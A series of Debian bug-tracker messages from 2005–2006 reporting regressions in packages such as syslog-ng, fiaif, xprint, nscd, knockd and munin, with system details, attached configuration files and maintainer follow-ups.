Drew Parsons wrote: On Mon, 2006-04-17 at 23:13 +0200, Laurent CARON wrote: Package: xprint Version: Xprint fails to start Severity: critical Justification: breaks unrelated software Xprint is broken after last sid update Hi Laurent, did you use reportbug to make this report? Normally it provides the version of the package you're reporting against, but it's missing this time for some reason. Can you tell me what version of xprint you're referring to? Drew Hi, My mistake xprint has been removed by some other broken dependency on SID. sorry for the noise :$. Laurent -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#363157: x11-common: recent path change breaks kdm & gdm
Package: x11-common Version: 1:7.0.12 Severity: critical Justification: breaks unrelated software GDM & KDM fails to start because they can't find /usr/X11R6/bin/X you have to mkdir /usr/X11R6/bin && ln -s /usr/bin/X /usr/X11R6/bin/X to make it work again. -- System Information: Debian Release: testing/unstable APT prefers unstable APT policy: (500, 'unstable'), (500, 'testing'), (500, 'stable'), (1, 'experimental') Architecture: i386 (i686) Shell: /bin/sh linked to /bin/bash Kernel: Linux 2.6.16-pluton-v7 Locale: [EMAIL PROTECTED], [EMAIL PROTECTED] (charmap=ISO-8859-15) Versions of packages x11-common depends on: ii debconf [debconf-2.0] 1.4.72 Debian configuration management sy ii debianutils 2.15.6 Miscellaneous utilities specific t ii laptop-detect 0.12.1 attempt to detect a laptop ii lsb-base 3.1-3 Linux Standard Base 3.1 init scrip x11-common recommends no packages. -- debconf information: x11-common/xwrapper/allowed_users: Console Users Only x11-common/experimental_packages: x11-common/xwrapper/actual_allowed_users: console x11-common/xwrapper/nice_value/error: x11-common/xwrapper/nice_value: 0 -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#363154: xprint: Xprint fails to start and makes X stop
Package: xprint Version: Xprint fails to start Severity: critical Justification: breaks unrelated software Xprint is broken after last sid update Had to add the following line to make it start [ -d /usr/bin ] && XPROJECTROOT=/usr/bin otherwise i'd get: /etc/init.d/xprint start /etc/init.d/xprint: ## FATAL ERROR: Unknown XProjectRoot. -- System Information: Debian Release: testing/unstable APT prefers unstable APT policy: (500, 'unstable'), (500, 'testing'), (500, 'stable'), (1, 'experimental') Architecture: i386 (i686) Shell: /bin/sh linked to /bin/bash Kernel: Linux 2.6.16-pluton-v7 Locale: [EMAIL PROTECTED], [EMAIL PROTECTED] (charmap=ISO-8859-15) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#349697: syslog-ng: Logs infinitely the same message when priority is crit
SZALAY Attila a écrit :
Hi!
On Wed, 2006-01-25 at 09:27 +0100, Laurent CARON wrote:
#
# filter f_attention { level(err .. emerg); };
destination buckrogers { udp("buckrogers"); };
log { source(s_all); filter(f_attention); destination(buckrogers); };
#
The problem is with the destination above. Sadly syslog-ng 1.9 cannot
resolve host names, so you can only use address not host name.
It seems to be a big point (to me).
Is it a bug, feature ?
And because of this (and with kernel magic) all messages to this
destionation goes to 127.0.0.1 and syslog-ng will read it again. :(
I put this into the inner bug system with ticket ID 8174.
I don't close this bug, but I going to lover it's severity a bit if you
accept it. (This only can happen if you listen in wild and try to send
somewhere too.)
Yes, you can lower it, but not too much as it can bring the entire
system down, and fill disk space..
Laurent
Bug#349697: syslog-ng: Logs infinitely the same message when priority is crit
SZALAY Attila a écrit :
Hi!
On Tue, 2006-01-24 at 19:20 +0100, Laurent CARON wrote:
When an event of priority crit is logged it is repeated until
/var/log/syslog reaches 2Gb (2048Mb), and then the syslog-ng process
dies.
Jan 24 19:18:15 gw lcaron: a
Jan 24 19:18:15 gw lcaron: a
Jan 24 19:18:15 gw lcaron: a
Jan 24 19:18:15 gw lcaron: a
Jan 24 19:18:15 gw lcaron: a
Jan 24 19:18:15 gw lcaron: a
Jan 24 19:18:15 gw lcaron: a
Jan 24 19:18:15 gw lcaron: a
Jan 24 19:18:15 gw lcaron: a
Jan 24 19:18:15 gw lcaron: a
Jan 24 19:18:15 gw lcaron: a
Jan 24 19:18:15 gw lcaron: a
Jan 24 19:18:15 gw lcaron: a
Jan 24 19:18:15 gw lcaron: a
Jan 24 19:18:15 gw lcaron: a
Jan 24 19:18:15 gw lcaron: a
Jan 24 19:18:15 gw lcaron: a
Jan 24 19:18:15 gw lcaron: a
Jan 24 19:18:15 gw lcaron: a
Jan 24 19:18:15 gw lcaron: a
Jan 24 19:18:15 gw lcaron: a
Jan 24 19:18:15 gw lcaron: a
Jan 24 19:18:15 gw lcaron: a
Jan 24 19:18:15 gw lcaron: a
Jan 24 19:18:15 gw lcaron: a
Jan 24 19:18:15 gw lcaron: a
Jan 24 19:18:15 gw lcaron: a
Jan 24 19:18:15 gw lcaron: a
Jan 24 19:18:15 gw lcaron: a
Jan 24 19:18:15 gw lcaron: a
Jan 24 19:18:15 gw lcaron: a
Jan 24 19:18:15 gw lcaron: a
Jan 24 19:18:15 gw lcaron: a
Jan 24 19:18:15 gw lcaron: a
Jan 24 19:18:15 gw lcaron: a
Jan 24 19:18:21 gw syslog-ng[18178]: SIGTERM received, terminating;
Jan 24 19:18:15 gw lcaron: a
Jan 24 19:18:21 gw syslog-ng[18178]: syslog-ng shutting down;
version='1.9.8'
Jan 24 19:18:15 gw lcaron: a
Jan 24 19:19:00 gw syslog-ng[18232]: syslog-ng starting up; version='1.9.8'
Jan 24 19:19:01 gw /USR/SBIN/CRON[18234]: (lcaron) CMD
(/usr/bin/fetchmail >/dev/null 2>&1)
Jan 24 19:19:01 gw /USR/SBIN/CRON[18236]: (root) CMD (/opt/mbm.sh
>/dev/null 2>/dev/null)
Jan 24 19:19:03 gw lcaron: a
Jan 24 19:19:09 gw lcaron: b
Jan 24 19:19:21 gw syslog-ng[18232]: SIGTERM received, terminating;
Jan 24 19:19:21 gw syslog-ng[18232]: syslog-ng shutting down;
version='1.9.8'
Jan 24 19:21:14 gw syslog-ng[18830]: syslog-ng version 1.6.9 starting
Jan 24 19:21:14 gw syslog-ng[18830]: Changing permissions on special
file /dev/xconsole
i killed the process there.
Could you send me a small :)) part of the log file and the config? Is
there any difference between a good machine and the bad one?
#
# Configuration file for syslog-ng under Debian
#
# attempts at reproducing default syslog behavior
# the standard syslog levels are (in descending order of priority):
# emerg alert crit err warning notice info debug
# the aliases "error", "panic", and "warn" are deprecated
# the "none" priority found in the original syslogd configuration is
# only used in internal messages created by syslogd
##
# options
options {
# disable the chained hostname format in logs
# (default is enabled)
chain_hostnames(0);
# the time to wait before a died connection is re-established
# (default is 60)
time_reopen(10);
# the time to wait before an idle destination file is closed
# (default is 60)
time_reap(360);
# the number of lines buffered before written to file
# you might want to increase this if your disk isn't catching with
# all the log messages you get or if you want less disk activity
# (say on a laptop)
# (default is 0)
#sync(0);
# the number of lines fitting in the output queue
log_fifo_size(65536);
# enable or disable directory creation for destination files
create_dirs(yes);
# default owner, group, and permissions for log files
# (defaults are 0, 0, 0600)
#owner(root);
group(adm);
perm(0640);
# default owner, group, and permissions for created directories
# (defaults are 0, 0, 0700)
#dir_owner(root);
#dir_group(root);
dir_perm(0755);
# enable or disable DNS usage
# syslog-ng blocks on DNS queries, so enabling DNS may lead to
# a Denial of Service attack
# (default is yes)
use_dns(yes);
keep_hostname(yes);
# maximum length of message in bytes
# this is only limited by the program listening on the /dev/log Unix
# socket, glibc can handle arbitrary length log messages, but -- for
# example -- syslogd accepts only 1024 bytes
# (default is 2048)
#log_msg_size(2048);
};
##
# sources
# all known message sources
source s_all {
# message generated by Syslog-NG
internal();
# standard Linux log source (this is the default place for the syslog()
# function to send logs to)
unix-stream("/dev/log");
# messages from the kernel
file("/proc/kmsg" log_prefix("kernel: "));
# use the following line if you want to receive remote UDP logging
messages
# (this is equivalent to the
Bug#349697: syslog-ng: Logs infinitely the same message when priority is crit
Steve Langasek a écrit :
On Tue, Jan 24, 2006 at 07:20:50PM +0100, Laurent CARON wrote:
Package: syslog-ng
Version: 1.9.8
Severity: critical
Justification: breaks the whole system
Installed latest syslog-ng from unstable.
When an event of priority crit is logged it is repeated until
/var/log/syslog reaches 2Gb (2048Mb), and then the syslog-ng process
dies.
Are you sure that this is a single event being logged repeatedly, as opposed
to repeated critical events?
yes
when issuing logger -p crit junk
Reverted to latest stable version, all is now fine.
So after reverting, you're getting a single critical event logged?
yes
Strange thing is it only happens on one of my computers.
All running the same version, and all receiving critical events?
yes
syslog-ng.conf attached
#
# Configuration file for syslog-ng under Debian
#
# attempts at reproducing default syslog behavior
# the standard syslog levels are (in descending order of priority):
# emerg alert crit err warning notice info debug
# the aliases "error", "panic", and "warn" are deprecated
# the "none" priority found in the original syslogd configuration is
# only used in internal messages created by syslogd
##
# options
options {
# disable the chained hostname format in logs
# (default is enabled)
chain_hostnames(0);
# the time to wait before a died connection is re-established
# (default is 60)
time_reopen(10);
# the time to wait before an idle destination file is closed
# (default is 60)
time_reap(360);
# the number of lines buffered before written to file
# you might want to increase this if your disk isn't catching with
# all the log messages you get or if you want less disk activity
# (say on a laptop)
# (default is 0)
#sync(0);
# the number of lines fitting in the output queue
log_fifo_size(65536);
# enable or disable directory creation for destination files
create_dirs(yes);
# default owner, group, and permissions for log files
# (defaults are 0, 0, 0600)
#owner(root);
group(adm);
perm(0640);
# default owner, group, and permissions for created directories
# (defaults are 0, 0, 0700)
#dir_owner(root);
#dir_group(root);
dir_perm(0755);
# enable or disable DNS usage
# syslog-ng blocks on DNS queries, so enabling DNS may lead to
# a Denial of Service attack
# (default is yes)
use_dns(yes);
keep_hostname(yes);
# maximum length of message in bytes
# this is only limited by the program listening on the /dev/log Unix
# socket, glibc can handle arbitrary length log messages, but -- for
# example -- syslogd accepts only 1024 bytes
# (default is 2048)
#log_msg_size(2048);
};
##
# sources
# all known message sources
source s_all {
# message generated by Syslog-NG
internal();
# standard Linux log source (this is the default place for the syslog()
# function to send logs to)
unix-stream("/dev/log");
# messages from the kernel
file("/proc/kmsg" log_prefix("kernel: "));
# use the following line if you want to receive remote UDP logging
messages
# (this is equivalent to the "-r" syslogd flag)
udp();
};
##
# destinations
# some standard log files
destination df_auth { file("/var/log/auth.log"); };
destination df_syslog { file("/var/log/syslog"); };
destination df_cron { file("/var/log/cron.log"); };
destination df_daemon { file("/var/log/daemon.log"); };
destination df_kern { file("/var/log/kern.log"); };
destination df_lpr { file("/var/log/lpr.log"); };
destination df_mail { file("/var/log/mail.log"); };
destination df_user { file("/var/log/user.log"); };
destination df_uucp { file("/var/log/uucp.log"); };
# these files are meant for the mail system log files
# and provide re-usable destinations for {mail,cron,...}.info,
# {mail,cron,...}.notice, etc.
destination df_facility_dot_info { file("/var/log/$FACILITY.info"); };
destination df_facility_dot_notice { file("/var/log/$FACILITY.notice"); };
destination df_facility_dot_warn { file("/var/log/$FACILITY.warn"); };
destination df_facility_dot_err { file("/var/log/$FACILITY.err"); };
destination df_facility_dot_crit { file("/var/log/$FACILITY.crit"); };
# these files are meant for the news system, and are kept separated
# because they should be owned by "news" instead of "root"
destination df_news_dot_notice { file("/var/log/news/news.notice"
owner("news")); };
des
Bug#349697: syslog-ng: Logs infinitely the same message when priority is crit
Package: syslog-ng Version: 1.9.8 Severity: critical Justification: breaks the whole system Installed latest syslog-ng from unstable. When an event of priority crit is logged it is repeated until /var/log/syslog reaches 2Gb (2048Mb), and then the syslog-ng process dies. Reverted to latest stable version, all is now fine. Strange thing is it only happens on one of my computers. -- System Information: Debian Release: testing/unstable APT prefers unstable APT policy: (500, 'unstable'), (500, 'testing'), (1, 'experimental') Architecture: i386 (i686) Shell: /bin/sh linked to /bin/bash Kernel: Linux 2.6.13-a7n Locale: [EMAIL PROTECTED], [EMAIL PROTECTED] (charmap=ISO-8859-15) Versions of packages syslog-ng depends on: ii libc6 2.3.5-12 GNU C Library: Shared libraries an ii util-linux2.12r-5Miscellaneous system utilities Versions of packages syslog-ng recommends: ii logrotate 3.7.1-2Log rotation utility -- no debconf information -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#345170: fiaif: FIAIF NAT's any computer in any zone
Bastian Kleineidam wrote:
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
Hi,
I cannot reproduce this with a default config. Both zone.int and
zone.tun are enabled with the following rule:
SNAT[0]="EXT ALL 0.0.0.0/0=>0.0.0.0/0"
Now looking at the result:
$ iptables -t nat -nvL
Chain POSTROUTING_NAT_EXT (1 references)
pkts bytes target prot opt in out source
destination
0 0 MASQUERADE all -- * * 192.168.1.0/24
0.0.0.0/0
0 0 MASQUERADE all -- * * 172.20.0.0/16
0.0.0.0/0
As you see, both nat rules are restricted to the zone subnets.
Perhaps you have DYNAMIC=1 in one of your zone.xxx files? This would
have the effect you described. But DYNAMIC=1 is not necessary in
zone.{int,tun}.
i have dynamic set to 1 in zone.tun (for openvpn).
Laurent
--
To UNSUBSCRIBE, email to [EMAIL PROTECTED]
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#345170: fiaif: FIAIF NAT's any computer in any zone file if any other zone is set to nat 0.0.0.0/0 to 0.0.0.0/0
Package: fiaif Version: 1.20.0-2 Severity: critical Tags: security Justification: root security hole Facts: FIAIF with 3 zones zone.tun zone.int zone.ext zone.tun is used for a tun device zone.int is for the internal lan zone.ext is for the internet zone.int settings: SNAT[0]="EXT ALL 192.168.0.0/27=>0.0.0.0/0" zone.tun settings: SNAT[0]="EXT ALL 0.0.0.0/0=>0.0.0.0/0" What should happen? Any computer of the tun zone should be natted to the ext one. A computer in range 192.168.0.0/27 in the int zone should be natted. With those settings, any computer in any zone gets natted to ext. It seems to me to be a *big* security problem. Laurent -- System Information: Debian Release: testing/unstable APT prefers unstable APT policy: (500, 'unstable'), (500, 'testing') Architecture: i386 (i686) Shell: /bin/sh linked to /bin/bash Kernel: Linux 2.6.13-a7n Locale: [EMAIL PROTECTED], [EMAIL PROTECTED] (charmap=ISO-8859-15) Versions of packages fiaif depends on: hi bash 3.0-15The GNU Bourne Again SHell ii coreutils 5.2.1-2.1 The GNU core utilities ii cron 3.0pl1-92 management of regular background p ii debconf [debconf-2.0] 1.4.66Debian configuration management sy ii debianutils2.15.2Miscellaneous utilities specific t ii dnsutils 1:9.3.1-2.0.1 Clients provided with BIND ii grep 2.5.1.ds2-4 GNU grep, egrep and fgrep ii iptables 1.3.3-2 Linux kernel 2.4+ iptables adminis ii logtail1.2.42Print log file lines that have not ii net-tools 1.60-17 The NET-3 networking toolkit ii sed4.1.4-5 The GNU sed stream editor ii wget 1.10.1-1 retrieves files from the web fiaif recommends no packages. -- debconf information: fiaif/cron_logfile: * fiaif/warning: * fiaif/enable_cron: false * fiaif/enable_initd: true -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#345168: Sarge version of nscd is completely broken (Fails to cache any entry)
Package: nscd Version: 2.3.2.ds1-22 Severity: critical Justification: breaks unrelated software I'm using nscd (sarge version) with LDAP, and it is not working. Attaching to it with strace -p $PID shows no activity while doing a simple ls -al /home with a few directories in /home, making constant LDAP lookups. Upgrading nscd to the one in sid solves the problem.. -- System Information: Debian Release: 3.1 Architecture: i386 (i686) Kernel: Linux 2.6.15-rc7-dell520 Locale: [EMAIL PROTECTED], [EMAIL PROTECTED] (charmap=ISO-8859-15) (ignored: LC_ALL set to [EMAIL PROTECTED]) Versions of packages nscd depends on: ii libc6 2.3.2.ds1-22 GNU C Library: Shared libraries an -- no debconf information -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#343146: fiaif: Fiaif stops all traffic on CBQ shaped interfaces even when CBQ not enabled (on upgrade only)
Bastian Kleineidam wrote: -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Hi Laurent, sorry for taking so long to tackle your bug report. On Tue, Dec 13, 2005 at 07:49:50AM +0100, Laurent CARON wrote: I just installed latest FIAIF package, and when my ppp connection went down, and then up i was unable to browse the internet. After FIAIF upgrade, references to the CBQ shaper are left in the old zone files. It makes FIAIF not to process them, and thus machines behind those zones unrechable. I know the CBQ shaper has been deprecated, but if shaping is disabled, it should *not* try to process it. I had the following settings on zone.int TC_ENABLE=0 TC_TYPE=CBQ TC_DOWNLINK=410 TC_UPLINK=434 Are these the settings before the update, or after? Before and after updating What I suspect is that you had TC_ENABLE=1 With or without I had the same result before the update, and then the upgrade replaced your old configs with the new default ones which disabled the traffic shaping? No, nothing was replaced. Just the zone file that was using CBQ (but disabled by tc_enable=0) stopped working In this case, the qdiscs will not get removed by "/etc/init.d/fiaif stop", only if you do "/etc/init.d/fiaif tc-stop". So your old traffic shaping qdiscs will still be active. Perhaps this is the cause that fiaif did not work correctly. I flushed the rules and then restarted fiaif to regenerate it If possible, please send me via private mail ([EMAIL PROTECTED]) the output of "/etc/init.d/fiaif status". This should list all iptable rules and traffic shaping qdiscs. with version 1.20 ? -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#343146: fiaif: Fiaif stops all traffic on CBQ shaped interfaces even when CBQ not enabled (on upgrade only)
Package: fiaif Version: 1.20.0-1 Severity: critical Justification: breaks the whole system I just installed latest FIAIF package, and when my ppp connection went down, and then up i was unable to browse the internet. After FIAIF upgrade, references to the CBQ shaper are left in the old zone files. It makes FIAIF not to process them, and thus machines behind those zones unrechable. I know the CBQ shaper has been deprecated, but if shaping is disabled, it should *not* try to process it. I had the following settings on zone.int TC_ENABLE=0 TC_TYPE=CBQ TC_DOWNLINK=410 TC_UPLINK=434 -- System Information: Debian Release: testing/unstable APT prefers unstable APT policy: (500, 'unstable') Architecture: i386 (i686) Shell: /bin/sh linked to /bin/bash Kernel: Linux 2.6.13-a7n Locale: [EMAIL PROTECTED], [EMAIL PROTECTED] (charmap=ISO-8859-15) Versions of packages fiaif depends on: hi bash 3.0-15The GNU Bourne Again SHell ii coreutils 5.2.1-2.1 The GNU core utilities ii cron 3.0pl1-92 management of regular background p ii debconf [debconf-2.0] 1.4.62Debian configuration management sy ii debianutils2.15.1Miscellaneous utilities specific t ii dnsutils 1:9.3.1-2.0.1 Clients provided with BIND ii grep 2.5.1.ds2-4 GNU grep, egrep and fgrep ii iptables 1.3.3-2 Linux kernel 2.4+ iptables adminis ii logtail1.2.42Print log file lines that have not ii net-tools 1.60-17 The NET-3 networking toolkit ii sed4.1.4-5 The GNU sed stream editor ii wget 1.10.1-1 retrieves files from the web fiaif recommends no packages. -- debconf information: fiaif/cron_logfile: * fiaif/warning: * fiaif/enable_cron: false * fiaif/enable_initd: true -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#337677: knockd: Knockd fails when using a ppp interface
Package: knockd Version: 0.5-1 Severity: grave Justification: renders package unusable Knockd since last version is not working on ppp interfaces. It is not 'seeing' packets that should trigger it. Reverting back to an old version solves the problem. Laurent -- System Information: Debian Release: testing/unstable APT prefers unstable APT policy: (500, 'unstable') Architecture: i386 (i686) Shell: /bin/sh linked to /bin/bash Kernel: Linux 2.6.13-a7n Locale: [EMAIL PROTECTED], [EMAIL PROTECTED] (charmap=ISO-8859-15) Versions of packages knockd depends on: ii libc6 2.3.5-6GNU C Library: Shared libraries an ii libpcap0.80.9.4-1System interface for user-level pa ii logrotate 3.7.1-2Log rotation utility knockd recommends no packages. -- no debconf information -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#336777: bluez-utils: New version does not want me to connect anymore
Package: bluez-utils Version: 2.19-1 Severity: grave Justification: renders package unusable After having upgraded to new bluez-utils i'm unable to connect my phone (Ericsson T630) anymore. I can connect by deleting association and recreating *each time*. Downgrading to the stable version solves this problem. Thanks -- System Information: Debian Release: testing/unstable APT prefers unstable APT policy: (500, 'unstable'), (500, 'stable'), (1, 'experimental') Architecture: i386 (i686) Shell: /bin/sh linked to /bin/bash Kernel: Linux 2.6.14-pluton Locale: [EMAIL PROTECTED], [EMAIL PROTECTED] (charmap=ISO-8859-1) (ignored: LC_ALL set to fr_FR) Versions of packages bluez-utils depends on: ii bluez-pin 0.25-1 Bluetooth PIN helper with D-BUS su ii dbus-1 0.23.4-7 simple interprocess messaging syst ii libbluetooth1 2.19-1 Library to use the BlueZ Linux Blu ii libc6 2.3.5-6 GNU C Library: Shared libraries an ii libusb-0.1-42:0.1.10a-21 userspace USB programming library ii module-init-tools 3.2-pre9-3 tools for managing Linux kernel mo ii modutils2.4.27.0-3 Linux module utilities ii sysvinit2.86.ds1-4 System-V like init bluez-utils recommends no packages. -- no debconf information -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#324605: Acknowledgement (Generating graph fails with Unable to graph /var/lib/munin/domain/-nfs_client-commit-d.rrd: Garbage ':' after command:)
Debian Bug Tracking System wrote: Thank you for the problem report you have sent regarding Debian. This is an automatically generated reply, to let you know your message has been received. It is being forwarded to the package maintainers and other interested parties for their attention; they will reply in due course. Your message has been sent to the package maintainer(s): Munin Debian Maintainers <[EMAIL PROTECTED]> If you wish to submit further information on your problem, please send it to [EMAIL PROTECTED] (and *not* to [EMAIL PROTECTED]). Please do not reply to the address at the top of this message, unless you wish to report a problem with the Bug-tracking system. Debian bug tracking system administrator (administrator, Debian Bugs database) Hi, My mistake It is not related to munin, but to librrd. Sorry for the noise. L.CARON -- Je n'ai pas besoin de Dieu pour expliquer le monde ; il ne contient que de la matière et de la pesanteur. -+- Pierre Simon de Laplace -+-
Bug#324605: Generating graph fails with Unable to graph /var/lib/munin/domain/-nfs_client-commit-d.rrd: Garbage ':' after command:
Package: munin Version: 1.2.3-1 Severity: grave Justification: renders package unusable For 2 weeks now munin is broken on my system Following errors can be found in munin-graph.log aoû 22 06:31:04 - Graphed service : nfsd (0.01 sec * 4) aoû 22 06:31:04 - Unable to graph /var/lib/munin/unix-scripts.info/buckrogers.unix-scripts.info-df_inode-tmpfs-g.rrd: Garbage ':' after command: COMMENT: Cur: aoû 22 06:31:04 - Unable to graph /var/lib/munin/unix-scripts.info/buckrogers.unix-scripts.info-df_inode-tmpfs-g.rrd: Garbage ':' after command: COMMENT: Cur: aoû 22 06:31:04 - Unable to graph /var/lib/munin/unix-scripts.info/buckrogers.unix-scripts.info-df_inode-tmpfs-g.rrd: Garbage ':' after command: COMMENT: Cur: aoû 22 06:31:04 - Unable to graph /var/lib/munin/unix-scripts.info/buckrogers.unix-scripts.info-df_inode-tmpfs-g.rrd: Garbage ':' after command: COMMENT: Cur: -- System Information: Debian Release: testing/unstable APT prefers unstable APT policy: (500, 'unstable'), (500, 'testing') Architecture: i386 (i686) Shell: /bin/sh linked to /bin/bash Kernel: Linux 2.6.12.1-a7n Locale: [EMAIL PROTECTED], [EMAIL PROTECTED] (charmap=ISO-8859-15) Versions of packages munin depends on: pn libdigest-md5-perl (no description available) ii libhtml-template-perl 2.6-2 HTML::Template : A module for usin ii librrds-perl 1.2.11-0.2 Time-series data storage and displ pn libtime-hires-perl (no description available) ii perl [libstorable-perl] 5.8.7-4Larry Wall's Practical Extraction ii perl-modules 5.8.7-4Core Perl modules Versions of packages munin recommends: pn libdate-manip-perl (no description available) ii munin-node1.2.3-1network-wide graphing framework (n -- no debconf information
Bug#304339: ldap-utils: Adding users via smbldap-useradd (or other means) fails
Package: ldap-utils Version: 2.2.23-1 Severity: grave Justification: renders package unusable I installed ldap-utils on 8th April, and everything seemed fine until I tried to add a new user on my system. It complained about missing slappasswd (/usr/sbin/slappasswd -> ../lib/slapd). On another system, this file seems ok. Is it really a package related bug? A postinst bug? A. bug? -- System Information: Debian Release: 3.1 APT prefers unstable APT policy: (500, 'unstable'), (500, 'testing') Architecture: i386 (i686) Kernel: Linux 2.6.10-poweredge-64gb-20041227 Locale: LANG=en_CA, LC_CTYPE=en_CA (charmap=ISO-8859-1) Versions of packages ldap-utils depends on: ii libc6 2.3.2.ds1-20 GNU C Library: Shared libraries an ii libldap-2.2-7 2.2.23-1 OpenLDAP libraries ii libsasl22.1.19-1.5 Authentication abstraction library ii libssl0.9.7 0.9.7e-3 SSL shared libraries -- no debconf information -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
